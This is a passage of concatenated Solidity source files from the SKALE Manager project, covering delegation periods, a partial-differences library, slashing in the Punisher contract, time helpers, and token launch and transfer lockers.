function _getValidatorService() private view returns (ValidatorService) {
return ValidatorService(contractManager.getValidatorService());
}
function _getTimeHelpers() private view returns (TimeHelpers) {
return TimeHelpers(contractManager.getTimeHelpers());
}
function _getTokenLaunchLocker() private view returns (TokenLaunchLocker) {
return TokenLaunchLocker(contractManager.getTokenLaunchLocker());
}
function _getConstantsHolder() private view returns (ConstantsHolder) {
return ConstantsHolder(contractManager.getConstantsHolder());
}
function _accept(uint delegationId) private {
_checkIfDelegationIsAllowed(delegations[delegationId].holder, delegations[delegationId].validatorId);
State currentState = getState(delegationId);
if (currentState != State.PROPOSED) {
if (currentState == State.ACCEPTED ||
currentState == State.DELEGATED ||
currentState == State.UNDELEGATION_REQUESTED ||
currentState == State.COMPLETED)
{
revert("The delegation has been already accepted");
} else if (currentState == State.CANCELED) {
revert("The delegation has been cancelled by token holder");
} else if (currentState == State.REJECTED) {
revert("The delegation request is outdated");
}
}
require(currentState == State.PROPOSED, "Cannot set delegation state to accepted");
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(delegations[delegationId].holder);
_addToAllStatistics(delegationId);
uint amount = delegations[delegationId].amount;
_getTokenLaunchLocker().handleDelegationAdd(
delegations[delegationId].holder,
delegationId,
amount,
delegations[delegationId].started
);
uint effectiveAmount = amount.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)
);
_getBounty().handleDelegationAdd(
effectiveAmount,
delegations[delegationId].started
);
_sendSlashingSignals(slashingSignals);
emit DelegationAccepted(delegationId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
DelegationPeriodManager.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../Permissions.sol";
/**
* @title Delegation Period Manager
* @dev This contract handles all delegation offerings. Delegations are held for
* a specified period (months), and different durations can have different
* returns or `stakeMultiplier`. Currently, only delegation periods can be added.
*/
contract DelegationPeriodManager is Permissions {
mapping (uint => uint) public stakeMultipliers;
/**
* @dev Emitted when a new delegation period is specified.
*/
event DelegationPeriodWasSet(
uint length,
uint stakeMultiplier
);
/**
* @dev Allows the Owner to create a new available delegation period and
* stake multiplier in the network.
*
* Emits a {DelegationPeriodWasSet} event.
*/
function setDelegationPeriod(uint monthsCount, uint stakeMultiplier) external onlyOwner {
require(stakeMultipliers[monthsCount] == 0, "Delegation perios is already set");
stakeMultipliers[monthsCount] = stakeMultiplier;
emit DelegationPeriodWasSet(monthsCount, stakeMultiplier);
}
/**
* @dev Checks whether given delegation period is allowed.
*/
function isDelegationPeriodAllowed(uint monthsCount) external view returns (bool) {
return stakeMultipliers[monthsCount] != 0;
}
/**
* @dev Initial delegation period and multiplier settings.
*/
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
stakeMultipliers[2] = 100; // 2 months at 100
// stakeMultipliers[6] = 150; // 6 months at 150
// stakeMultipliers[12] = 200; // 12 months at 200
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
PartialDifferences.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../utils/MathUtils.sol";
import "../utils/FractionUtils.sol";
/**
* @title Partial Differences Library
* @dev This library contains functions to manage Partial Differences data
* structure. Partial Differences is an array of value differences over time.
*
* For example: assuming an array [3, 6, 3, 1, 2], partial differences can
* represent this array as [_, 3, -3, -2, 1].
*
* This data structure allows adding values on an open interval with O(1)
* complexity.
*
* For example: add +5 to [3, 6, 3, 1, 2] starting from the second element (3),
* instead of performing [3, 6, 3+5, 1+5, 2+5] partial differences allows
* performing [_, 3, -3+5, -2, 1]. The original array can be restored by
* adding values from partial differences.
*/
library PartialDifferences {
using SafeMath for uint;
using MathUtils for uint;
struct Sequence {
// month => diff
mapping (uint => uint) addDiff;
// month => diff
mapping (uint => uint) subtractDiff;
// month => value
mapping (uint => uint) value;
uint firstUnprocessedMonth;
uint lastChangedMonth;
}
struct Value {
// month => diff
mapping (uint => uint) addDiff;
// month => diff
mapping (uint => uint) subtractDiff;
uint value;
uint firstUnprocessedMonth;
uint lastChangedMonth;
}
// functions for sequence
function addToSequence(Sequence storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
}
sequence.addDiff[month] = sequence.addDiff[month].add(diff);
if (sequence.lastChangedMonth != month) {
sequence.lastChangedMonth = month;
}
}
function subtractFromSequence(Sequence storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot subtract from the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
}
sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff);
if (sequence.lastChangedMonth != month) {
sequence.lastChangedMonth = month;
}
}
function getAndUpdateValueInSequence(Sequence storage sequence, uint month) internal returns (uint) {
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
uint nextValue = sequence.value[i.sub(1)].add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]);
if (sequence.value[i] != nextValue) {
sequence.value[i] = nextValue;
}
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
sequence.firstUnprocessedMonth = month.add(1);
}
return sequence.value[month];
}
function getValueInSequence(Sequence storage sequence, uint month) internal view returns (uint) {
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value[sequence.firstUnprocessedMonth.sub(1)];
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]);
}
return value;
} else {
return sequence.value[month];
}
}
function getValuesInSequence(Sequence storage sequence) internal view returns (uint[] memory values) {
if (sequence.firstUnprocessedMonth == 0) {
return values;
}
uint begin = sequence.firstUnprocessedMonth.sub(1);
uint end = sequence.lastChangedMonth.add(1);
if (end <= begin) {
end = begin.add(1);
}
values = new uint[](end.sub(begin));
values[0] = sequence.value[sequence.firstUnprocessedMonth.sub(1)];
for (uint i = 0; i.add(1) < values.length; ++i) {
uint month = sequence.firstUnprocessedMonth.add(i);
values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]);
}
}
function reduceSequence(
Sequence storage sequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month) internal
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
require(
reducingCoefficient.numerator <= reducingCoefficient.denominator,
"Increasing of values is not implemented");
if (sequence.firstUnprocessedMonth == 0) {
return;
}
uint value = getAndUpdateValueInSequence(sequence, month);
if (value.approximatelyEqual(0)) {
return;
}
sequence.value[month] = sequence.value[month]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) {
sequence.subtractDiff[i] = sequence.subtractDiff[i]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
}
}
// functions for value
function addToValue(Value storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
sequence.lastChangedMonth = month;
}
if (month > sequence.lastChangedMonth) {
sequence.lastChangedMonth = month;
}
if (month >= sequence.firstUnprocessedMonth) {
sequence.addDiff[month] = sequence.addDiff[month].add(diff);
} else {
sequence.value = sequence.value.add(diff);
}
}
function subtractFromValue(Value storage sequence, uint diff, uint month) internal {
require(sequence.firstUnprocessedMonth <= month.add(1), "Cannot subtract from the past");
if (sequence.firstUnprocessedMonth == 0) {
sequence.firstUnprocessedMonth = month;
sequence.lastChangedMonth = month;
}
if (month > sequence.lastChangedMonth) {
sequence.lastChangedMonth = month;
}
if (month >= sequence.firstUnprocessedMonth) {
sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff);
} else {
sequence.value = sequence.value.boundedSub(diff);
}
}
function getAndUpdateValue(Value storage sequence, uint month) internal returns (uint) {
require(
month.add(1) >= sequence.firstUnprocessedMonth,
"Cannot calculate value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value;
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]);
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
if (sequence.value != value) {
sequence.value = value;
}
sequence.firstUnprocessedMonth = month.add(1);
}
return sequence.value;
}
function getValue(Value storage sequence, uint month) internal view returns (uint) {
require(
month.add(1) >= sequence.firstUnprocessedMonth,
"Cannot calculate value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return 0;
}
if (sequence.firstUnprocessedMonth <= month) {
uint value = sequence.value;
for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) {
value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]);
}
return value;
} else {
return sequence.value;
}
}
function getValues(Value storage sequence) internal view returns (uint[] memory values) {
if (sequence.firstUnprocessedMonth == 0) {
return values;
}
uint begin = sequence.firstUnprocessedMonth.sub(1);
uint end = sequence.lastChangedMonth.add(1);
if (end <= begin) {
end = begin.add(1);
}
values = new uint[](end.sub(begin));
values[0] = sequence.value;
for (uint i = 0; i.add(1) < values.length; ++i) {
uint month = sequence.firstUnprocessedMonth.add(i);
values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]);
}
}
function reduceValue(
Value storage sequence,
uint amount,
uint month)
internal returns (FractionUtils.Fraction memory)
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
if (sequence.firstUnprocessedMonth == 0) {
return FractionUtils.createFraction(0);
}
uint value = getAndUpdateValue(sequence, month);
if (value.approximatelyEqual(0)) {
return FractionUtils.createFraction(0);
}
uint _amount = amount;
if (value < amount) {
_amount = value;
}
FractionUtils.Fraction memory reducingCoefficient =
FractionUtils.createFraction(value.boundedSub(_amount), value);
reduceValueByCoefficient(sequence, reducingCoefficient, month);
return reducingCoefficient;
}
function reduceValueByCoefficient(
Value storage sequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month)
internal
{
reduceValueByCoefficientAndUpdateSumIfNeeded(
sequence,
sequence,
reducingCoefficient,
month,
false);
}
function reduceValueByCoefficientAndUpdateSum(
Value storage sequence,
Value storage sumSequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month) internal
{
reduceValueByCoefficientAndUpdateSumIfNeeded(
sequence,
sumSequence,
reducingCoefficient,
month,
true);
}
function reduceValueByCoefficientAndUpdateSumIfNeeded(
Value storage sequence,
Value storage sumSequence,
FractionUtils.Fraction memory reducingCoefficient,
uint month,
bool hasSumSequence) internal
{
require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past");
if (hasSumSequence) {
require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Cannot reduce value in the past");
}
require(
reducingCoefficient.numerator <= reducingCoefficient.denominator,
"Increasing of values is not implemented");
if (sequence.firstUnprocessedMonth == 0) {
return;
}
uint value = getAndUpdateValue(sequence, month);
if (value.approximatelyEqual(0)) {
return;
}
uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator);
if (hasSumSequence) {
subtractFromValue(sumSequence, sequence.value.boundedSub(newValue), month);
}
sequence.value = newValue;
for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) {
uint newDiff = sequence.subtractDiff[i]
.mul(reducingCoefficient.numerator)
.div(reducingCoefficient.denominator);
if (hasSumSequence) {
sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i]
.boundedSub(sequence.subtractDiff[i].boundedSub(newDiff));
}
sequence.subtractDiff[i] = newDiff;
}
}
function clear(Value storage sequence) internal {
for (uint i = sequence.firstUnprocessedMonth; i <= sequence.lastChangedMonth; ++i) {
if (sequence.addDiff[i] > 0) {
delete sequence.addDiff[i];
}
if (sequence.subtractDiff[i] > 0) {
delete sequence.subtractDiff[i];
}
}
if (sequence.value > 0) {
delete sequence.value;
}
if (sequence.firstUnprocessedMonth > 0) {
delete sequence.firstUnprocessedMonth;
}
if (sequence.lastChangedMonth > 0) {
delete sequence.lastChangedMonth;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Punisher.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../Permissions.sol";
import "../interfaces/delegation/ILocker.sol";
import "./ValidatorService.sol";
import "./DelegationController.sol";
/**
* @title Punisher
* @dev This contract handles all slashing and forgiving operations.
*/
contract Punisher is Permissions, ILocker {
// holder => tokens
mapping (address => uint) private _locked;
/**
* @dev Emitted upon slashing condition.
*/
event Slash(
uint validatorId,
uint amount
);
/**
* @dev Emitted upon forgive condition.
*/
event Forgive(
address wallet,
uint amount
);
/**
* @dev Allows SkaleDKG contract to execute slashing on a validator and
* validator's delegations by an `amount` of tokens.
*
* Emits a {Slash} event.
*
* Requirements:
*
* - Validator must exist.
*/
function slash(uint validatorId, uint amount) external allow("SkaleDKG") {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
require(validatorService.validatorExists(validatorId), "Validator does not exist");
delegationController.confiscate(validatorId, amount);
emit Slash(validatorId, amount);
}
/**
* @dev Allows the Admin to forgive a slashing condition.
*
* Emits a {Forgive} event.
*
* Requirements:
*
* - All slashes must have been processed.
*/
function forgive(address holder, uint amount) external onlyAdmin {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
require(!delegationController.hasUnprocessedSlashes(holder), "Not all slashes were calculated");
if (amount > _locked[holder]) {
delete _locked[holder];
} else {
_locked[holder] = _locked[holder].sub(amount);
}
emit Forgive(holder, amount);
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev Allows DelegationController contract to execute slashing of
* delegations.
*/
function handleSlash(address holder, uint amount) external allow("DelegationController") {
_locked[holder] = _locked[holder].add(amount);
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
}
// private
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function _getAndUpdateLockedAmount(address wallet) private returns (uint) {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
delegationController.processAllSlashes(wallet);
return _locked[wallet];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TimeHelpers.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../thirdparty/BokkyPooBahsDateTimeLibrary.sol";
/**
* @title TimeHelpers
* @dev The contract performs time operations.
*
* These functions are used to calculate monthly and Proof of Use epochs.
*/
contract TimeHelpers {
using SafeMath for uint;
uint constant private _ZERO_YEAR = 2020;
function calculateProofOfUseLockEndTime(uint month, uint lockUpPeriodDays) external view returns (uint timestamp) {
timestamp = BokkyPooBahsDateTimeLibrary.addDays(monthToTimestamp(month), lockUpPeriodDays);
}
function addDays(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addDays(fromTimestamp, n);
}
function addMonths(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addMonths(fromTimestamp, n);
}
function addYears(uint fromTimestamp, uint n) external pure returns (uint) {
return BokkyPooBahsDateTimeLibrary.addYears(fromTimestamp, n);
}
function getCurrentMonth() external view virtual returns (uint) {
return timestampToMonth(now);
}
function timestampToDay(uint timestamp) external view returns (uint) {
uint wholeDays = timestamp / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY;
uint zeroDay = BokkyPooBahsDateTimeLibrary.timestampFromDate(_ZERO_YEAR, 1, 1) /
BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY;
require(wholeDays >= zeroDay, "Timestamp is too far in the past");
return wholeDays - zeroDay;
}
function timestampToYear(uint timestamp) external view virtual returns (uint) {
uint year;
(year, , ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp);
require(year >= _ZERO_YEAR, "Timestamp is too far in the past");
return year - _ZERO_YEAR;
}
function timestampToMonth(uint timestamp) public view virtual returns (uint) {
uint year;
uint month;
(year, month, ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp);
require(year >= _ZERO_YEAR, "Timestamp is too far in the past");
month = month.sub(1).add(year.sub(_ZERO_YEAR).mul(12));
require(month > 0, "Timestamp is too far in the past");
return month;
}
function monthToTimestamp(uint month) public view virtual returns (uint timestamp) {
uint year = _ZERO_YEAR;
uint _month = month;
year = year.add(_month.div(12));
_month = _month.mod(12);
_month = _month.add(1);
return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, _month, 1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TokenLaunchLocker.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../Permissions.sol";
import "../interfaces/delegation/ILocker.sol";
import "../ConstantsHolder.sol";
import "../utils/MathUtils.sol";
import "./DelegationController.sol";
import "./TimeHelpers.sol";
import "./PartialDifferences.sol";
/**
* @title TokenLaunchLocker
* @dev This contract manages lockers applied to the launch process.
*/
contract TokenLaunchLocker is Permissions, ILocker {
using MathUtils for uint;
using PartialDifferences for PartialDifferences.Value;
/**
* @dev Emitted when an `amount` is unlocked.
*/
event Unlocked(
address holder,
uint amount
);
/**
* @dev Emitted when an `amount` is locked.
*/
event Locked(
address holder,
uint amount
);
struct DelegatedAmountAndMonth {
uint delegated;
uint month;
}
// holder => tokens
mapping (address => uint) private _locked;
// holder => tokens
mapping (address => PartialDifferences.Value) private _delegatedAmount;
mapping (address => DelegatedAmountAndMonth) private _totalDelegatedAmount;
// delegationId => tokens
mapping (uint => uint) private _delegationAmount;
/**
* @dev Allows TokenLaunchManager contract to lock an amount of tokens in a
* holder wallet.
*
* Emits a {Locked} event.
*/
function lock(address holder, uint amount) external allow("TokenLaunchManager") {
_locked[holder] = _locked[holder].add(amount);
emit Locked(holder, amount);
}
/**
* @dev Allows DelegationController contract to notify TokenLaunchLocker
* about new delegations.
*/
function handleDelegationAdd(
address holder, uint delegationId, uint amount, uint month)
external allow("DelegationController")
{
if (_locked[holder] > 0) {
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
uint currentMonth = timeHelpers.getCurrentMonth();
uint fromLocked = amount;
uint locked = _locked[holder].boundedSub(_getAndUpdateDelegatedAmount(holder, currentMonth));
if (fromLocked > locked) {
fromLocked = locked;
}
if (fromLocked > 0) {
require(_delegationAmount[delegationId] == 0, "Delegation was already added");
_addToDelegatedAmount(holder, fromLocked, month);
_addToTotalDelegatedAmount(holder, fromLocked, month);
_delegationAmount[delegationId] = fromLocked;
}
}
}
/**
* @dev Allows DelegationController contract to notify TokenLaunchLocker
* about new undelegation requests.
*/
function handleDelegationRemoving(
address holder,
uint delegationId,
uint month)
external allow("DelegationController")
{
if (_delegationAmount[delegationId] > 0) {
if (_locked[holder] > 0) {
_removeFromDelegatedAmount(holder, _delegationAmount[delegationId], month);
}
delete _delegationAmount[delegationId];
}
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) external override returns (uint) {
if (_locked[wallet] > 0) {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
uint currentMonth = timeHelpers.getCurrentMonth();
if (_totalDelegatedSatisfiesProofOfUseCondition(wallet) &&
timeHelpers.calculateProofOfUseLockEndTime(
_totalDelegatedAmount[wallet].month,
constantsHolder.proofOfUseLockUpPeriodDays()
) <= now) {
_unlock(wallet);
return 0;
} else {
uint lockedByDelegationController = _getAndUpdateDelegatedAmount(wallet, currentMonth)
.add(delegationController.getLockedInPendingDelegations(wallet));
if (_locked[wallet] > lockedByDelegationController) {
return _locked[wallet].boundedSub(lockedByDelegationController);
} else {
return 0;
}
}
} else {
return 0;
}
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) {
return 0;
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
}
// private
/**
* @dev Returns and updates the current delegated amount.
*/
function _getAndUpdateDelegatedAmount(address holder, uint currentMonth) private returns (uint) {
return _delegatedAmount[holder].getAndUpdateValue(currentMonth);
}
/**
* @dev Adds a delegated amount to the given month.
*/
function _addToDelegatedAmount(address holder, uint amount, uint month) private {
_delegatedAmount[holder].addToValue(amount, month);
}
/**
* @dev Removes a delegated amount from the given month.
*/
function _removeFromDelegatedAmount(address holder, uint amount, uint month) private {
_delegatedAmount[holder].subtractFromValue(amount, month);
}
/**
* @dev Adds the amount to the total delegated for the given month.
*/
function _addToTotalDelegatedAmount(address holder, uint amount, uint month) private {
require(
_totalDelegatedAmount[holder].month == 0 || _totalDelegatedAmount[holder].month <= month,
"Cannot add to total delegated in the past");
// do not update counter if it is big enough
// because it will override month value
if (!_totalDelegatedSatisfiesProofOfUseCondition(holder)) {
_totalDelegatedAmount[holder].delegated = _totalDelegatedAmount[holder].delegated.add(amount);
_totalDelegatedAmount[holder].month = month;
}
}
/**
* @dev Unlocks tokens.
*
* Emits an {Unlocked} event.
*/
function _unlock(address holder) private {
emit Unlocked(holder, _locked[holder]);
delete _locked[holder];
_deleteDelegatedAmount(holder);
_deleteTotalDelegatedAmount(holder);
}
/**
* @dev Deletes the delegated amount.
*/
function _deleteDelegatedAmount(address holder) private {
_delegatedAmount[holder].clear();
}
/**
* @dev Deletes the total delegated amount.
*/
function _deleteTotalDelegatedAmount(address holder) private {
delete _totalDelegatedAmount[holder].delegated;
delete _totalDelegatedAmount[holder].month;
}
/**
* @dev Checks whether total delegated satisfies Proof-of-Use.
*/
function _totalDelegatedSatisfiesProofOfUseCondition(address holder) private view returns (bool) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
return _totalDelegatedAmount[holder].delegated.mul(100) >=
_locked[holder].mul(constantsHolder.proofOfUseDelegationPercentage());
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TokenState.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../interfaces/delegation/ILocker.sol";
import "../Permissions.sol";
import "./DelegationController.sol";
import "./TimeHelpers.sol";
/**
* @title Token State
* @dev This contract manages lockers to control token transferability.
*
* The SKALE Network has three types of locked tokens:
*
* - Tokens that are transferrable but are currently locked into delegation with
* a validator.
*
* - Tokens that are not transferable from one address to another, but may be
* delegated to a validator `getAndUpdateLockedAmount`. This lock enforces
* Proof-of-Use requirements.
*
* - Tokens that are neither transferable nor delegatable
* `getAndUpdateForbiddenForDelegationAmount`. This lock enforces slashing.
*/
contract TokenState is Permissions, ILocker {
string[] private _lockers;
DelegationController private _delegationController;
/**
* @dev Emitted when a contract is added to the locker.
*/
event LockerWasAdded(
string locker
);
/**
* @dev Emitted when a contract is removed from the locker.
*/
event LockerWasRemoved(
string locker
);
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address holder) external override returns (uint) {
if (address(_delegationController) == address(0)) {
_delegationController =
DelegationController(contractManager.getContract("DelegationController"));
}
uint locked = 0;
if (_delegationController.getDelegationsByHolderLength(holder) > 0) {
// the holder ever delegated
for (uint i = 0; i < _lockers.length; ++i) {
ILocker locker = ILocker(contractManager.getContract(_lockers[i]));
locked = locked.add(locker.getAndUpdateLockedAmount(holder));
}
}
return locked;
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address holder) external override returns (uint amount) {
uint forbidden = 0;
for (uint i = 0; i < _lockers.length; ++i) {
ILocker locker = ILocker(contractManager.getContract(_lockers[i]));
forbidden = forbidden.add(locker.getAndUpdateForbiddenForDelegationAmount(holder));
}
return forbidden;
}
/**
* @dev Allows the Owner to remove a contract from the locker.
*
* Emits a {LockerWasRemoved} event.
*/
function removeLocker(string calldata locker) external onlyOwner {
uint index;
bytes32 hash = keccak256(abi.encodePacked(locker));
for (index = 0; index < _lockers.length; ++index) {
if (keccak256(abi.encodePacked(_lockers[index])) == hash) {
break;
}
}
if (index < _lockers.length) {
if (index < _lockers.length.sub(1)) {
_lockers[index] = _lockers[_lockers.length.sub(1)];
}
delete _lockers[_lockers.length.sub(1)];
_lockers.pop();
emit LockerWasRemoved(locker);
}
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
addLocker("DelegationController");
addLocker("Punisher");
addLocker("TokenLaunchLocker");
}
/**
* @dev Allows the Owner to add a contract to the Locker.
*
* Emits a {LockerWasAdded} event.
*/
function addLocker(string memory locker) public onlyOwner {
_lockers.push(locker);
emit LockerWasAdded(locker);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ValidatorService.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol";
import "../Permissions.sol";
import "../ConstantsHolder.sol";
import "./DelegationController.sol";
import "./TimeHelpers.sol";
/**
* @title ValidatorService
* @dev This contract handles all validator operations including registration,
* node management, validator-specific delegation parameters, and more.
*
* TIP: For more information see our main instructions
